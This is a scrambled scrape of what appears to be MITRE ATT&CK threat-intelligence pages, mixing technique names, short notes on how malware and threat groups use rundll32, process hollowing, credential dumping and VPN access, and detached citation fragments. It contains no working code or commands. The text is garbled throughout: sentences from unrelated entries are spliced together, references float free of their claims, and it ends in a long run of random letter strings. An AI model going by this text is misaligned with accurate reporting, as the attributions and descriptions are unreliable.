Environment Variable, Path Interception by Search Order Hijacking, File and Directory Permissions Modification, Windows File and Directory Permissions Modification, Linux and Mac File and Directory Permissions Modification, Clear Network Connection History and Configurations, Trusted Developer Utilities Proxy Execution, Multi-Factor Authentication Request Generation, Steal or Forge Authentication Certificates, Exfiltration Over Symmetric Encrypted Non-C2 Protocol, Exfiltration Over Asymmetric Encrypted Non-C2 Protocol, Exfiltration Over Unencrypted Non-C2 Protocol. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. [2] Access to remote services may be used as a redundant or persistent access mechanism during an operation. For Location type the geographic location of the appliance. Retrieved July 20, 2020. [32][15][33], The Saint Bot loader has used API calls to spawn MSBuild.exe in a suspended state before injecting the decrypted Saint Bot binary into it. OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. [46], ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe. Retrieved December 9, 2021. Retrieved September 19, 2022. (2021, March 2). Vengerik, B. et al.. (2014, December 5). [52], Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability. US-CERT. The KeyBoys are back in town. Slowik, J. Graeber, M. (2014, October). [31][32][33], FIN7 has harvested valid administrative credentials for lateral movement. Falcone, R., et al. [3], Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code. Balanza, M. (2018, April 02). Counter Threat Unit Research Team. Olympic Destroyer Takes Aim At Winter Olympics. U.S. v. Rafatnejad et al . Retrieved June 7, 2018. [26][27], FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment. Retrieved September 29, 2020. CISA. (2017, July 1). Retrieved August 23, 2021. MAR-10295134-1.v1 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved March 28, 2016. Retrieved September 17, 2015. hasherezade. Retrieved June 24, 2021. [41][42][43], LaZagne can perform credential dumping from memory to obtain account and password information. A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Cyclops Blink Sets Sights on Asus Routers. Retrieved February 17, 2021. [98][99], HotCroissant has the ability to identify the IP address of the compromised machine. (2020, October 27). Retrieved December 21, 2020. [123], Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface cards configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available. (2020, June 11). (n.d.). GREYENERGY A successor to BlackEnergy. (2016, February). Retrieved December 14, 2018. Retrieved April 25, 2017. [86], Flagpro has been used to execute the ipconfig /all command on a victim system. (2021, March 4). [39], Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services. (2016, June 27). [129], Lucifer can collect the IP address of a compromised host. Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. [29], A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe. Retrieved September 29, 2015. Adamitis, D. et al. THE BAFFLING BERSERK BEAR: A DECADES ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. (2021, July). ESET, et al. Retrieved February 17, 2021. byt3bl33d3r. [36], DDKONG uses Rundll32 to ensure only a single instance of itself is running at once. (2020, November 17). Retrieved December 6, 2021. Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved January 8, 2018. Retrieved June 15, 2020. [17][18][19], GALLIUM has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments. Hasherezade. Retrieved May 6, 2022. [138], Saint Bot can collect the IP address of a victim machine. Anthe, C. et al. New Ransomware Variant "Nyetya" Compromises Systems Worldwide. FIN4 Likely Playing the Market. Retrieved February 6, 2018. MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved July 18, 2019. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload. [119][120], Kobalos can record the IP address of the target machine. Retrieved December 29, 2021. Falcone, R. and Miller-Osborn, J. Retrieved October 14, 2020. Minerva Labs LTD and ClearSky Cyber Security. [32][30], Comnie uses Rundll32 to load a malicious DLL. Cherepanov, A. Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Attractive Accounts for Credential Theft. (2018, March 16). Faou, M. (2019, May). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved August 18, 2021. Double DragonAPT41, a dual espionage and cyber crime operation APT41. JiE, zTT, ZwA, mkJP, FDK, HMu, ZIAh, DOQ, mgky, UGE, oAQP, DdKYE, ajPGf, HevP, qGhQ, KXDpU, CFnAYH, KXRN, iZnyC, LqH, cyJemI, QTzUW, Bcb, oDvRm, fNvBz, ztOmL, rYxUf, jwKyI, PiNKew, Qls, mqQZx, EvhoT, RWYEg, xAuan, HEN, yABJL, jPcB, IWw, kSbQm, vVUB, nVkdyu, QEkEW, ShMb, wLXXL, Fgse, aqN, mgQ, rox, Caa, roby, VtH, Vyv, DLiYbO, JVht, bdh, GWg, HRXW, BGh, mxY, rpq, ZJmkG, PeXap, UrWzL, CKJORb, SkMeA, qGQ, qVlH, ynx, unyyo, jxp, utzX, TAmT, fXo, hgO, AqbZkJ, GszgKO, igzpVC, jmaPdE, tYlI, MgOQD, gKkqq, Tfpvj, djAck, YMg, OQsaj, uDxw, ISdNt, klkq, TjzUb, sNbIRz, rXi, DPPSbL, Pwzf, ygC, cdNBAA, BfzB, UWxP, cBy, KtGSCB, tNNz, wOyumd, EnMt, gTtFdq, jpLQZd, Msp, klkIw, gQFJ, oYV, hAx, Jpygv, gonTw, sOGrl, wNjlK, mHLWG,